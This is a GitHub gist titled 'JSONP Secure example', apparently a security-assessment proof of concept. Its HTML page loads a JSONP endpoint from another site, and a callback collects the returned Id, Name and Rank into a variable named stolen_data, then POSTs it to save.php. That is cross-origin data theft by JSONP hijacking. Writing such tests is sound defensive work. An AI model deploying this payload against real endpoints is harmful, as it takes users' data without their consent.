Created
June 18, 2018 02:55
-
-
Save yehgdotnet/d811b4f95191779a0f9e680691f365a2 to your computer and use it in GitHub Desktop.
JSONP Secure example
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<script> | |
function SavetoServer(data){ | |
var xhttp = new XMLHttpRequest(); | |
xhttp.open("POST", "save.php", true); | |
xhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded"); | |
xhttp.send(data); | |
} | |
function parseResponse(s){ | |
stolen_data = "id=" + s['Id'] + "&name=" + s['Name'] + '&rank=' + s['Rank']; | |
document.write("Id:" + s['Id'] + "<br>"); | |
document.write("Name: " + s['Name'] + "<br>"); | |
document.write("Rank: " + s['Rank'] + "<br>"); | |
SavetoServer(stolen_data); | |
} | |
</script> | |
<script label="SECUREJSON Endpoint" src="https://cybersecurityassessor.ninja/poc/jsonp_data_secured.php"> | |
</script> |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment